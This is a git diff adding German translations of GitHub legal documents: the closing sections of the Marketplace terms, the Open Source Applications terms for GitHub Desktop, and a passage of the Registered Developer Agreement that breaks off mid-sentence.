+Die Ihnen gewährten Rechte zur Nutzung eines Entwicklerprodukts sind für Sie persönlich und nicht auf Dritte, wie z. B. Ihre Endbenutzer, übertragbar. Jegliche Rechte zur Bereitstellung oder zum Weiterverkauf von Entwicklerprodukten an Dritte müssen direkt vom Produktanbieter gewährt werden.
+
+## G. Updates von Entwicklerprodukten
+
+Von Zeit zu Zeit kann GitHub.com bei Remote Servern (die von GitHub oder von Drittanbietern gehostet werden) nach verfügbaren Updates für Entwicklerprodukte suchen, einschließlich, aber nicht beschränkt auf Fehlerbehebungen oder erweiterte Funktionen. Sie stimmen zu, dass solche Updates ohne weitere Benachrichtigung an Sie automatisch angefordert, heruntergeladen und installiert werden.
+
+## H. Blockierung von Entwicklerprodukten
+
+GitHub kann aus rechtlichen oder politischen Gründen ein Entwicklerprodukt von unseren Servern blockieren oder seine Funktionalität deaktivieren. Für den Fall, dass wir ein Entwicklerprodukt blockieren oder deaktivieren müssen, arbeiten wir mit dem Produktanbieter zusammen, um betroffene Nutzer zu benachrichtigen.
+
+## I. Gewährleistungsausschluss; Haftungsbeschränkung; Haftungsfreistellung und Schadenersatz.
+
+**Gewährleistungsausschluss.** Ihre Nutzung von Marketplace und aller über Marketplace erworbenen Entwicklerprodukte erfolgt auf Ihr alleiniges Risiko. Falls nicht ausdrücklich anders angegeben, stellt GitHub Marketplace und Entwicklerprodukte „WIE BESEHEN“ und „WIE VERFÜGBAR“ bereit. GitHub gibt keine Garantien oder Zusicherungen in Bezug auf Marketplace und Entwicklerprodukte ab, einschließlich, aber nicht beschränkt auf die spezifischen Funktionen, die über Marketplace und Entwicklerprodukte verfügbar sind, ihre Zuverlässigkeit, Verfügbarkeit oder Fähigkeit, Ihre Anforderungen zu erfüllen.
+
+Wir behalten uns ungeachtet des Vorstehenden das Recht vor, Marketplace (oder einen Teil davon) von Zeit zu Zeit mit oder ohne Vorankündigung vorübergehend oder dauerhaft zu ändern oder einzustellen.
+
+**Haftungsbeschränkung.** Sie verstehen und stimmen zu, dass GitHub weder Ihnen noch Dritten gegenüber für entgangenen Gewinn, Nutzung, Geschäftswerte oder Daten oder für zufällige, indirekte, spezielle, Folge- oder exemplarische Schäden haftbar ist, die sich aus Folgendem ergeben: (i) Ihrer Nutzung oder der Unfähigkeit, Marketplace oder Entwicklerprodukte zu nutzen; (ii) jeglicher Modifizierung, Preisänderung, Aussetzung oder Einstellung von Marketplace oder Entwicklerprodukten; (iii) Marketplace im Allgemeinen oder der Software oder Systeme, die Marketplace verfügbar machen; (iv) unbefugtem Zugriff auf oder Änderungen Ihrer Übertragungen oder Daten; (v) Aussagen oder Verhalten von Dritten, Produktanbietern oder Entwicklerprodukten auf Marketplace; (vi) allen anderen Nutzerinteraktionen, die Sie durch Ihre Nutzung von Marketplace eingeben oder erhalten; oder (vii) jeder anderen Angelegenheit im Zusammenhang mit Marketplace.
+
+**Haftungsfreistellung und Schadenersatz.** Wenn Sie eine Streitigkeit mit einem oder mehreren Produktanbietern haben, erklären Sie sich damit einverstanden, GitHub von allen Ansprüchen, Forderungen und Schäden (tatsächliche und Folgeschäden) jeder Art und Natur, bekannt und unbekannt, freizustellen, die sich aus solchen Streitigkeiten ergeben.
+
+Sie erklären sich damit einverstanden, uns von allen Ansprüchen, Verbindlichkeiten und Ausgaben, einschließlich Anwaltskosten, die sich aus Ihrer Nutzung von Marketplace ergeben, schad- und klaglos zu halten und zu verteidigen, einschließlich, aber nicht beschränkt auf Ihre Verletzung dieser Marketplace Bedingungen, vorausgesetzt, dass GitHub (1) Sie unverzüglich schriftlich über die Forderung, Klage oder das Verfahren informiert; (2) Ihnen die alleinige Kontrolle über die Verteidigung und Beilegung der Forderung, Klage oder des Verfahrens gibt (mit der Maßgabe, dass Sie nicht berechtigt sind, Forderungen, Klagen oder Verfahren beizulegen, es sei denn, die Beilegung entbindet GitHub bedingungslos von jeglicher Haftung); und (3) Ihnen auf Ihre Kosten jede angemessene Unterstützung bietet.
+
+## J. Vermischtes
+
+1. **Anwendbares Recht.** Sie stimmen zu, dass diese Marketplace Bedingungen und Ihre Nutzung der Entwicklerprodukte dem kalifornischen Recht unterliegen und alle Streitigkeiten im Zusammenhang mit den Entwicklerprodukten vor ein zuständiges Gericht in oder in der Nähe von San Francisco, Kalifornien, gebracht werden müssen.
+
+2. **Nichtübertragbarkeit.** GitHub kann diese Marketplace Bedingungen und/oder die [Datenschutzerklärung von GitHub](/articles/github-privacy-statement/) ganz oder teilweise an jede natürliche oder juristische Person jederzeit mit oder ohne Ihre Zustimmung abgeben oder übertragen. Sie sind nicht berechtigt, Rechte oder Pflichten aus den Marketplace Bedingungen oder der Datenschutzerklärung ohne unsere vorherige schriftliche Einwilligung abzutreten oder zu übertragen, und jede unbefugte Abtretung und Übertragung durch Sie ist nichtig.
+
+3. **Salvatorische Klausel, kein Verzicht und Fortbestand.** Wenn ein Teil dieser Marketplace Bedingungen ungültig oder nicht durchsetzbar ist, wird dieser Teil der Marketplace Bedingungen so ausgelegt, dass er die ursprüngliche Absicht der Parteien widerspiegelt. Die übrigen Bestimmungen bleiben hiervon unberührt und gültig. Falls GitHub ein Recht oder eine Bestimmung aus diesen Marketplace Bedingungen nicht ausübt bzw. nicht durchsetzt, stellt dies keinen Verzicht auf das betreffende Recht bzw. die betreffende Bestimmung dar. Unsere Rechte gemäß diesen Marketplace Bedingungen gelten auch nach Beendigung dieser Marketplace Bedingungen.
+
+4. **Keine Änderungen; Vollständige Vereinbarung.** Diese Marketplace Bedingungen dürfen nur durch eine schriftliche Änderung geändert werden, die von einem autorisierten Vertreter von GitHub unterzeichnet wurde, oder durch die Veröffentlichung einer überarbeiteten Version durch GitHub. Diese Marketplace Bedingungen, zusammen mit der [Datenschutzerklärung von GitHub](/articles/github-privacy-statement/), stellen die vollständige und ausschließliche Erklärung der Vereinbarung zwischen Ihnen und uns dar. Diese Marketplace Bedingungen ersetzen alle mündlichen oder schriftlichen Vorschläge oder vorherigen Vereinbarungen sowie alle anderen Mitteilungen zwischen Ihnen und GitHub in Bezug auf den Gegenstand dieser Bedingungen.
+
+5. **Abschnittsüberschriften.** In diesen Marketplace Bedingungen enthält jeder Abschnitt Titel der folgenden Bedingungen. Diese Abschnittsüberschriften sind nicht rechtsverbindlich.
+
+6. **Lizenz für GitHub Richtlinien.** Diese Marketplace Bedingungen sind unter der [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. Einzelheiten finden Sie in unserem [Site-Policy Repository](https://github.com/github/site-policy#license).
+
+7. **Kontaktieren Sie uns.** Haben Sie Fragen zu den Marketplace Bedingungen? [Setzen Sie sich mit uns in Verbindung.](https://support.github.com/contact?tags=docs-policy)
diff --git a/translations/de-DE/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md b/translations/de-DE/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md
new file mode 100644
index 0000000000..288eb69d7e
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md
@@ -0,0 +1,72 @@
+---
+title: GitHub Allgemeine Geschäftsbedingungen für Open-Source-Anwendungen
+redirect_from:
+  - /articles/github-open-source-applications-terms-and-conditions
+  - /github/site-policy/github-open-source-applications-terms-and-conditions
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 0e0eae030624b3b465c321690d9d9e08c6483bed
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556618'
+---
+Diese Allgemeinen Geschäftsbedingungen von GitHub für Open-Source-Anwendungen („Anwendungsbedingungen“) sind eine rechtliche Vereinbarung zwischen Ihnen (entweder als Einzelperson oder im Namen einer juristischen Person) und GitHub, Inc. in Bezug auf Ihre Nutzung der Anwendungen von GitHub, wie GitHub Desktop™ und zugehörige Dokumentation („Software”). Diese Anwendungsbedingungen gelten für die ausführbare Codeversion der Software. Der Quellcode für die Software ist separat und kostenlos im Rahmen von Open-Source-Software-Lizenzvereinbarungen erhältlich. Wenn Sie nicht allen Bestimmungen dieser Anwendungsbedingungen zustimmen, dürfen Sie die Software nicht herunterladen, installieren, verwenden oder kopieren.
+
+## Verbindung zu GitHub herstellen
+
+Wenn Sie die Software so konfigurieren, dass sie mit einem oder mehreren Konten auf der Website GitHub.com oder mit einer Instanz von GitHub Enterprise funktioniert, unterliegt Ihre Nutzung der Software auch den geltenden Nutzungsbedingungen der Website GitHub.com und/oder der geltenden Lizenzvereinbarung zu Ihrer Instanz von GitHub Enterprise („GitHub Bedingungen”).
+
+Jegliche Nutzung der Software, die gegen Ihre geltenden GitHub Bedingungen verstößt, stellt auch einen Verstoß gegen diese Anwendungsbedingungen dar.
+
+## Open-Source-Lizenzen und Hinweise
+
+Die Open Source-Lizenz für die Software ist in der Dokumentation „Open-Source-Hinweise“ enthalten, die der Software beiliegt. Diese Dokumentation enthält auch Kopien aller anwendbaren Open-Source-Lizenzen.
+
+Soweit die Bedingungen der für Open-Source-Komponenten geltenden Lizenzen GitHub dazu verpflichten, ein Angebot zur Bereitstellung des Quellcodes in Verbindung mit der Software abzugeben, wird ein solches Angebot hiermit unterbreitet, und Sie können es ausüben, indem Sie sich an GitHub wenden: https://github.com/contact
+
+Sofern nicht anders schriftlich mit GitHub vereinbart, umfasst Ihre Vereinbarung mit GitHub immer mindestens diese Anwendungsbedingungen. Open-Source-Softwarelizenzen für den Quellcode der Software stellen separate schriftliche Vereinbarungen dar. In dem begrenzten Umfang, in dem die Open-Source-Softwarelizenzen diese Anwendungsbedingungen ausdrücklich ersetzen, regeln die Open-Source-Lizenzen Ihre Vereinbarung mit GitHub für die Nutzung der Software oder bestimmter enthaltener Komponenten der Software.
+
+## GitHub Logos
+
+Die in der Software enthaltene Lizenzgewährung gilt nicht für die Marken von GitHub, zu denen die Logodesigns der Software gehören. GitHub behält sich alle Marken- und Urheberrechte an und für alle GitHub Marken vor. Zu den Logos von GitHub gehören beispielsweise die stilisierten Designs, die „logo“ im Dateititel im Ordner „logos“ enthalten.
+
+Die Namen GitHub, GitHub Desktop, GitHub für Mac, GitHub für Windows, Atom, Octocat und zugehörige GitHub Logos und/oder stilisierte Namen sind Marken von GitHub. Sie erklären sich damit einverstanden, diese Marken ohne die vorherige schriftliche Genehmigung von GitHub in keiner Weise anzuzeigen oder zu verwenden, es sei denn, dies ist in der Logos- und Nutzungsrichtlinie von GitHub zulässig: https://github.com/logos.
+
+## Datenschutz
+
+Die Software kann persönliche Informationen erheben. Sie können im Einstellungsfeld steuern, welche Informationen die Software erhebt. Wenn die Software personenbezogene Informationen im Namen von GitHub erhebt, verarbeitet GitHub diese Daten gemäß der [GitHub Datenschutzerklärung](/articles/github-privacy-statement/).
+
+## Weitere Dienste
+
+**Auto-Update-Dienste**
+
+Die Software kann einen automatischen Aktualisierungsdienst („Dienst“) enthalten. Wenn Sie den Dienst nutzen oder Software herunterladen, die den Dienst automatisch aktiviert, aktualisiert GitHub die Software automatisch, wenn eine neue Version verfügbar ist.
+
+**Ausschlüsse und Haftungsbeschränkung**
+
+DER SERVICE WIRD „WIE BESEHEN” BEREITGESTELLT, UND ES WIRD KEINE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG GEWÄHRT. IHRE NUTZUNG DES DIENSTES ERFOLGT AUF IHR EIGENES RISIKO. GitHub garantiert nicht, dass (i) der Dienst Ihre spezifischen Anforderungen erfüllt; (ii) der Dienst vollständig mit einer bestimmten Plattform kompatibel ist; (iii) Ihre Nutzung des Dienstes ununterbrochen, zeitgerecht, sicher oder fehlerfrei erfolgt; (iv) die Ergebnisse, die durch die Nutzung des Dienstes erzielt werden können, genau oder zuverlässig sind; (v) die Qualität von Produkten, Dienstleistungen, Informationen oder anderen Materialien, die Sie über den Dienst gekauft oder erhalten haben, Ihren Erwartungen entspricht; oder (vi) alle Fehler im Dienst korrigiert werden.
+
+SIE VERSTEHEN AUSDRÜCKLICH UND STIMMEN ZU, DASS GITHUB NICHT FÜR DIREKTE, INDIREKTE, ZUFÄLLIGE, SPEZIELLE, FOLGE- ODER EXEMPLARISCHE SCHÄDEN HAFTBAR IST, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF SCHÄDEN FÜR ENTGANGENEN GEWINN, FIRMENWERT, NUTZUNG, DATEN ODER ANDERE IMMATERIELLE VERLUSTE (AUCH WENN GITHUB AUF DIE MÖGLICHKEIT SOLCHER SCHÄDEN IM ZUSAMMENHANG MIT DEM DIENST HINGEWIESEN WURDE), DIE MIT DIESEM DIENST IN ZUSAMMENHANG STEHEN, einschließlich: (i) die Nutzung oder die Unfähigkeit zur Nutzung des Dienstes; (ii) die Kosten für die Beschaffung von Ersatzwaren und -dienstleistungen, die sich aus gekauften oder erhaltenen Waren, Daten, Informationen oder Dienstleistungen oder empfangenen Nachrichten oder Transaktionen ergeben, die über oder von dem Dienst eingegangen wurden; (iii) unbefugter Zugriff auf oder Änderung Ihrer Übertragungen oder Daten; (iv) Äußerungen oder Verhaltensweisen Dritter auf dem Dienst; (v) oder andere Angelegenheiten im Zusammenhang mit dem Dienst.
+
+GitHub behält sich ungeachtet des Vorstehenden das Recht vor, den Dienst (oder einen Teil davon) von Zeit zu Zeit mit oder ohne Vorankündigung vorübergehend oder dauerhaft zu ändern oder einzustellen. GitHub haftet Ihnen oder Dritten gegenüber nicht für Preisänderungen, Aussetzungen oder Unterbrechungen des Dienstes.
+
+## Vermischtes
+
+1. Keine Verzichtserklärung. Falls GitHub ein Recht oder eine Bestimmung aus diesen Anwendungsbedingungen nicht ausübt bzw. nicht durchsetzt, stellt dies keinen Verzicht auf das betreffende Recht bzw. die betreffende Bestimmung dar.
+
+2. Gesamter Vertrag. Diese Anwendungsbedingungen stellen zusammen mit allen anwendbaren Datenschutzhinweisen die gesamte Vereinbarung zwischen Ihnen und GitHub dar und regeln Ihre Nutzung der Software und ersetzen alle vorherigen Vereinbarungen zwischen Ihnen und GitHub (einschließlich, aber nicht beschränkt auf frühere Versionen der Anwendungsbedingungen).
+
+3. Anwendbares Recht. Sie stimmen zu, dass diese Anwendungsbedingungen und Ihre Nutzung der Software dem kalifornischen Recht unterliegen und alle Streitigkeiten im Zusammenhang mit der Software vor ein zuständiges Gericht in oder in der Nähe von San Francisco, Kalifornien, gebracht werden müssen.
+
+4. Pakete von Drittanbietern. Die Software unterstützt „Pakete“ von Drittanbietern, die die Funktionalität der Software modifizieren, hinzufügen, entfernen oder ändern können.  Diese Pakete fallen nicht unter diese Anwendungsbedingungen und können ihre eigene Lizenz enthalten, die Ihre Nutzung dieses bestimmten Pakets regelt.
+
+5. Keine Änderungen; Vollständige Vereinbarung. Diese Anwendungsbedingungen dürfen nur durch eine schriftliche Änderung geändert werden, die von einem autorisierten Vertreter von GitHub unterzeichnet wurde, oder durch die Veröffentlichung einer überarbeiteten Version durch GitHub. Diese Anwendungsbedingungen stellen zusammen mit allen anwendbaren Open-Source-Lizenzen und Hinweisen sowie der Datenschutzerklärung von GitHub die vollständige und ausschließliche Erklärung der Vereinbarung zwischen Ihnen und uns dar. Diese Anwendungsbedingungen ersetzen alle mündlichen oder schriftlichen Vorschläge oder vorherigen Vereinbarungen sowie alle anderen Mitteilungen zwischen Ihnen und GitHub in Bezug auf den Gegenstand dieser Bedingungen.
+
+6. Lizenz für GitHub Richtlinien. Diese Anwendungsbedingungen sind unter der [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. Einzelheiten finden Sie in unserem [Site-Policy Repository](https://github.com/github/site-policy#license).
+
+7. Kontaktieren Sie uns. Haben Sie Fragen zu den Nutzungsbedingungen? [Setzen Sie sich mit uns in Verbindung.](https://support.github.com/contact?tags=docs-policy)
diff --git a/translations/de-DE/content/site-policy/github-terms/github-registered-developer-agreement.md b/translations/de-DE/content/site-policy/github-terms/github-registered-developer-agreement.md
new file mode 100644
index 0000000000..22140cdd99
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-registered-developer-agreement.md
@@ -0,0 +1,130 @@
+---
+title: GitHub Vereinbarung für registrierte Entwickler
+redirect_from:
+  - /articles/github-registered-developer-agreement
+  - /github/site-policy/github-registered-developer-agreement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 13a5143dbc6013c71d97078e9a8e44c96c5def3c
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556532'
+---
+GitHub hat das Glück, dass sich viele Entwickler in unsere Plattform integrieren. Wir finden das großartig und möchten diese Erfahrung noch besser machen.  Das Entwicklerprogramm von GitHub (das „Programm“) hilft uns, mit Ihnen in Kontakt zu treten, Informationen mit Ihnen zu teilen und Ihre kreativen Bemühungen besser als je zuvor zu unterstützen. Die besondere Beziehung zwischen GitHub und der Entwickler-Community, die das Programm schafft, erfordert einen speziellen Satz von Bedingungen. Willkommen bei der Vereinbarung für registrierte Entwickler („Vereinbarung”).
+
+Diese Vereinbarung ist eine rechtsgültige Vereinbarung zwischen Ihnen („Sie“) und GitHub, Inc. („GitHub“, „wir“ oder „uns“).  Lesen Sie diese Vereinbarung unbedingt sorgfältig durch – sie regelt Ihre Teilnahme am Programm, und wir lassen Sie nur dann am Programm teilnehmen, wenn Sie alle Bedingungen dieser Vereinbarung akzeptieren. Indem Sie unten auf „Ich stimme zu“ klicken oder in irgendeiner Weise am Programm teilnehmen – zum Beispiel durch den Zugriff auf Informationen über GitHub Produkte oder Funktionen, die noch nicht für die breite Öffentlichkeit verfügbar sind – stimmen Sie zu, an alle Bedingungen dieser Vereinbarung gebunden zu sein. WENN SIE DIESE VEREINBARUNG IM NAMEN EINES UNTERNEHMENS ODER EINER ANDEREN JURISTISCHEN PERSON ABSCHLIESSEN, ERKLÄREN SIE, DASS SIE DIE GESETZLICHE BEFUGNIS HABEN, DIE PERSON AN DIESE VEREINBARUNG ZU BINDEN. IN DIESEM FALL BEZIEHT SICH „SIE“ AUF DIE PERSON, DIE SIE VERTRETEN. WENN SIE KEINE SOLCHE BEFUGNIS HABEN ODER WENN SIE MIT DEN BEDINGUNGEN DIESER VEREINBARUNG NICHT EINVERSTANDEN SIND, MÜSSEN SIE DIE SCHALTFLÄCHE „ABBRECHEN“ AUSWÄHLEN UND KÖNNEN NICHT AM PROGRAMM TEILNEHMEN. WENN SIE EIN UNTERNEHMEN ODER EINE SONSTIGE JURISTISCHE PERSON SIND, ERKLÄREN SIE, DASS DIE PERSON, DIE AUF „ICH STIMME ZU“ KLICKT, DIE BEFUGNIS HAT, SIE AN DIESE VEREINBARUNG ZU BINDEN.
+
+1. **Es gelten die Nutzungsbedingungen von GitHub.com**
+
+  Sie müssen ein Konto bei GitHub.com haben, um am Programm teilnehmen zu können.  Indem Sie unten in dieser Vereinbarung auf „Ich stimme zu“ klicken, stimmen Sie auch zu, an die GitHub.com [Nutzungsbestimmungen](/articles/github-terms-of-service) gebunden zu sein. Im Falle eines direkten Konflikts zwischen dieser Vereinbarung und den Nutzungsbestimmungen hat diese Vereinbarung Vorrang; andernfalls gelten beide Vereinbarungen gleichzeitig für Sie.
+
+2. **Programmbestimmungen**
+
+  Wir posten die [Vorteile und Richtlinien des Programms](/program/) (die „Programmübersicht”).  Wie zu erwarten, ändert sich die Programmübersicht von Zeit zu Zeit. Diese Änderungen gelten für Sie als Teilnehmer des Programms, daher empfehlen wir Ihnen, die Programmübersicht regelmäßig zu überprüfen, um sich über Änderungen auf dem Laufenden zu halten. Aus verschiedenen Gründen müssen wir möglicherweise das Programm oder einige der von uns angebotenen Vorteile ändern, aussetzen oder einstellen. Sie stimmen zu, dass wir diese Dinge ohne Haftung Ihnen gegenüber tun können, außer wie in Abschnitt 8 angegeben.
+
+3. **API Lizenz**
+
+  Solange Sie die Nutzungsbedingungen, diese Vereinbarung und die Programmbedingungen einhalten, gewähren wir Ihnen während der Laufzeit dieser Vereinbarung eine beschränkte, weltweite, nicht exklusive, nicht übertragbare Lizenz für den Zugriff auf und die Nutzung unserer API (wie in den [Nutzungsbestimmungen](/articles/github-terms-of-service)) ausschließlich zu dem Zweck, Interoperabilität und Integrationen zwischen Ihren Produkten und Diensten und unseren Produkten und Diensten zu entwickeln, zu demonstrieren, zu testen und zu unterstützen.
+
+  Sie versichern, mit unserer API keine schlechten Dinge zu tun.  Dies bedeutet unter anderem, dass Sie unsere API nicht ändern, veröffentlichen, verkaufen, leasen, lizenzieren, verteilen oder unterlizenzieren werden – und anderen nicht gestatten oder gestatten werden; Dekompilieren, disassemblieren, zurückentwickeln oder anderweitig versuchen, Quellcode von unserer API abzuleiten; reproduzieren, modifizieren oder abgeleitete Werke von unserer API erstellen; unsere API verwenden, um Servicebüros, Anwendungshosting oder Verarbeitungsdienste für Dritte bereitzustellen; unsere API mit einem Ihrer Produkte oder Dienstleistungen integrieren oder anderweitig kombinieren oder integrieren; oder verwenden Sie unsere API, um sich an illegalen Aktivitäten zu beteiligen, diese zu unterstützen oder zu ermöglichen.
+
+  Wir behalten uns ungeachtet des Vorstehenden von das Recht vor, Ihren Zugang zur API (oder einen Teil davon) von Zeit zu Zeit mit oder ohne Vorankündigung vorübergehend oder dauerhaft zu ändern oder einzustellen. Es liegt in Ihrer alleinigen Verantwortung, sicherzustellen, dass Ihre Nutzung der API mit der jeweils aktuellen API kompatibel ist.   Abgesehen von den Rechten, die wir Ihnen ausdrücklich in dieser Vereinbarung oder den Nutzungsbedingungen gewähren, gewähren wir Ihnen keine Rechte oder Lizenzen an unserer API oder an anderen GitHub Produkten oder Diensten.
+
+4. **Ihre Produkte, Dienstleistungen und Integrationen**
+
+  Ihre Produkte, Dienstleistungen und Integrationen (zusammen Ihre „Produkte“) liegen in Ihrer Verantwortung.  Das bedeutet, dass Sie allein dafür verantwortlich sind, die Entwicklung, den Betrieb und die Wartung aller Aspekte Ihrer Produkte durchzuführen; sicherzustellen, dass alle Materialien, die mit oder in Ihren Produkten verwendet werden, in allen Gerichtsbarkeiten, in denen Ihre Produkte verwendet werden, legal sind und keine illegalen Aktivitäten fördern; den Erwerb von Rechten oder Lizenzen zu vollführen, die für die Nutzung und/oder Verbreitung von Software Dritter erforderlich sind, die Sie mit Ihren Produkten verwenden, einschließen, integrieren, oder verteilen; und die Bereitstellung des gleichen hochwertigen technischen Supports für die Endkunden Ihrer Produkte gewährleisten, wenn sie in Verbindung mit unserer API oder einem anderen unserer Produkte und Dienstleistungen betrieben werden, den Sie auch anbieten, wenn sie alleine betrieben werden.
+
+5. **Marketing und Werbung**
+
+  Die Vermarktung und Veröffentlichung Ihrer Integrationen mit GitHub ist sowohl für Sie als auch für GitHub von Wert. Wir möchten sicher sein, dass dies auf die richtige Weise geschieht – deshalb haben wir hier einige Formulierungen eingefügt, um einige grundlegende Regeln zu verdeutlichen.
+
+  Sie stimmen zu, dass Sie nicht Dritten gegenüber im Namen von GitHub Zusicherungen, Gewährleistungen, Garantien oder Befürwortungen abgeben (einschließlich zu jeglichen GitHub Produkten oder Diensten). Sofern wir nicht ausdrücklich unsere Erlaubnis dazu in den Programmbedingungen erteilt haben, verpflichten Sie sich, nicht zu erklären oder anzudeuten, dass wir eines Ihrer Produkte entwickelt, unterstützt, überprüft oder anderweitig genehmigt haben.
+
+  Wenn Sie sich entscheiden, eines unserer Produkte oder Dienstleistungen in Verbindung mit Ihren Produkten zu bewerben oder zu veröffentlichen, müssen Sie sicherstellen, dass Sie sich an die Bedingungen dieser Vereinbarung, die Programmbedingungen, die Nutzungsbedingungen, unsere [Markenrichtlinie](/articles/github-trademark-policy) und alle anderen anwendbaren GitHub Richtlinien halten.   Gemäß den Bedingungen dieser Vereinbarung und der Nutzungsbedingungen und während der Laufzeit dieser Vereinbarung gewähren wir Ihnen eine begrenzte, widerrufliche, weltweite, nicht exklusive, nicht übertragbare Lizenz zur Nutzung unserer Marken, Dienstleistungsmarken und Logos (zusammen die „GitHub Marken“) gemäß unserer [Markenrichtlinie](/articles/github-trademark-policy) und wie in den Programmbedingungen angegeben, ausschließlich zum Zwecke der Veröffentlichung Ihrer Mitgliedschaft im Programm.
+
+  Wir möchten der Welt von Ihnen und Ihrer Teilnahme am Programm erzählen. Um uns dabei zu helfen, gewähren Sie uns eine begrenzte, widerrufliche, weltweite, nicht exklusive, nicht übertragbare Lizenz zur Nutzung Ihrer Marken, Dienstleistungsmarken und Logos (zusammen die „Partnermarken“) in unseren Marketingmaterialien, ausschließlich zum Zweck der Bewerbung des Programms und Bekanntmachung Ihrer Teilnahme daran.
+
+  Außer wie in dieser Vereinbarung und den Nutzungsbedingungen festgelegt, gilt nichts in dieser Vereinbarung als Gewährung von Rechten, Titeln oder Anteilen an den Marken der anderen Partei an eine Partei. Sie stimmen zu, dass Sie weder während noch nach Ablauf der Laufzeit dieser Vereinbarung: (i) andere herausfordern oder dabei unterstützen, die GitHub Marken oder unsere Registrierung oder Durchsetzung der GitHub Marken anzufechten; (ii) versuchen, Marken, Dienstleistungsmarken, Logos, URLs, Internetdomänennamen oder Symbole zu übernehmen, zu verwenden, zu beantragen oder zu registrieren, die den GitHub Marken zum Verwechseln ähnlich sind; oder (iii) negative, falsche oder herabsetzende Aussagen (schriftlich oder mündlich) gegenüber Dritten über uns, unsere Produkte oder unsere Dienstleistungen machen.
+
+6. **Vertraulichkeit; Vorabversionsmaterialien**
+
+  Als registrierter Entwickler im Programm erhalten Sie möglicherweise Zugriff auf spezielle Informationen, die dem Rest der Welt nicht zur Verfügung stehen. Aufgrund der sensiblen Natur dieser Informationen ist es uns wichtig sicherzustellen, dass Sie diese Informationen geheim halten.
+
+  Sie stimmen zu, dass alle nicht öffentlichen Informationen, die wir Ihnen geben oder auf die Sie im Rahmen des Programms möglicherweise Zugriff haben, als vertrauliche Informationen von GitHub (zusammen „Vertrauliche Informationen“) gelten, unabhängig davon, ob sie als solche gekennzeichnet oder markiert sind. Sie erklären sich damit einverstanden, diese Vertraulichen Informationen nur für Ihre autorisierten Zwecke als Teilnehmer des Programms (der „Zweck“) und nicht für andere Zwecke zu verwenden. Sie sollten angemessene Vorkehrungen treffen, um eine unbefugte Nutzung, Offenlegung, Veröffentlichung oder Verbreitung unserer Vertraulichen Informationen zu verhindern. Sie verpflichten sich, keine Vertraulichen Informationen an Dritte außer Ihren Mitarbeitern und Auftragnehmern weiterzugeben, zu veröffentlichen oder zu verbreiten, und dies nur wenn: (i) sie die Vertraulichen Informationen für den Zweck benötigen; (ii) Sie sie zuvor auf den vertraulichen Charakter der Vertraulichen Informationen aufmerksam gemacht haben; (iii) Sie für die Handlungen und Unterlassungen dieser Mitarbeiter und Auftragnehmer verantwortlich bleiben; und (iv) wir eine solche Offenlegung nicht anderweitig beschränkt oder verboten haben.
+
+  Sie verstehen, dass die unbefugte Offenlegung oder Verwendung unserer Vertraulichen Informationen uns irreparable Schäden und erhebliche Verletzungen zufügen kann, die für uns möglicherweise schwer zu quantifizieren sind. Dementsprechend stimmen Sie zu, dass wir zusätzlich zu allen anderen Rechten und Rechtsbehelfen, die wir möglicherweise haben, das Recht haben, sofortige Unterlassungsansprüche geltend zu machen, um sicherzustellen, dass Sie diese Vereinbarung einhalten. Wenn Sie aufgrund von Gesetzen, Vorschriften oder einer gültigen verbindlichen Anordnung eines zuständigen Gerichts verpflichtet sind, unsere Vertraulichen Informationen offenzulegen, dürfen Sie dies tun, aber nur, wenn Sie uns vorher benachrichtigen und Ihr Bestes tun, um diese Offenlegung einzuschränken und sich um eine vertrauliche und schützende Behandlung solcher Informationen bemühen.
+
+  Die Verpflichtungen in diesem Abschnitt 6 gelten nicht für Informationen, die nachweislich: (i) der Öffentlichkeit allgemein zugänglich waren, bevor wir sie Ihnen mitgeteilt haben; (ii) der Öffentlichkeit allgemein zugänglich wurden, nachdem wir sie Ihnen offengelegt haben, ohne dass Sie oder Ihre Mitarbeiter oder Auftragnehmer etwas in Zusammenhang damit unternommen oder unterlassen haben; (iii) Ihnen bereits bekannt waren, bevor wir sie Ihnen offengelegt haben; (iv) Ihnen von einem Dritten mitgeteilt wurden, der diesbezüglich keine Vertraulichkeitsverpflichtungen hatte; (v) von Ihnen unabhängig entwickelt wurden, ohne dass eine Vertraulichkeitsverpflichtung gegenüber uns oder Dritten verletzt wurde; oder (vi) Ihnen gegenüber von uns mit der Erlaubnis zur Offenlegung in einem von einem unserer bevollmächtigten Vertreter unterzeichneten Schreiben freigegeben wurden.
+
+  Wenn wir Ihnen unveröffentlichte Vorabversionen von Software oder zugehöriger Dokumentation oder Materialien zur Verfügung stellen, die Videos oder andere Formen von Inhalten enthalten können („Vorabversionsmaterialien“), dann unterliegt dies vorbehaltlich Ihrer Einhaltung der Bedingungen dieser Vereinbarung und der Nutzungsbedingungen und wir gewähren Ihnen hiermit ein nicht ausschließliches, nicht übertragbares, widerrufliches Recht und eine Lizenz zur Nutzung der Vorabversionsmaterialien ausschließlich zur Unterstützung Ihrer Tests und/oder Entwicklung von Produkten oder Dienstleistungen, die dazu bestimmt sind, in Kombination mit den Systemen oder Programmen zu funktionieren, für die die Vorabversionsmaterialien entworfen wurden. Wenn die Vorabversionsmaterialien von einer separaten Lizenzvereinbarung begleitet werden, stimmen Sie zu, dass die separate Lizenzvereinbarung (zusätzlich zu allen restriktiveren Bestimmungen in dieser Vereinbarung oder den Nutzungsbedingungen) gilt. Sie stimmen zu, die Vorabversionsmaterialien nicht zu dekompilieren, zurückzuentwickeln, zu disassemblieren oder anderweitig auf eine für Menschen wahrnehmbare Form zu reduzieren, und Sie verpflichten 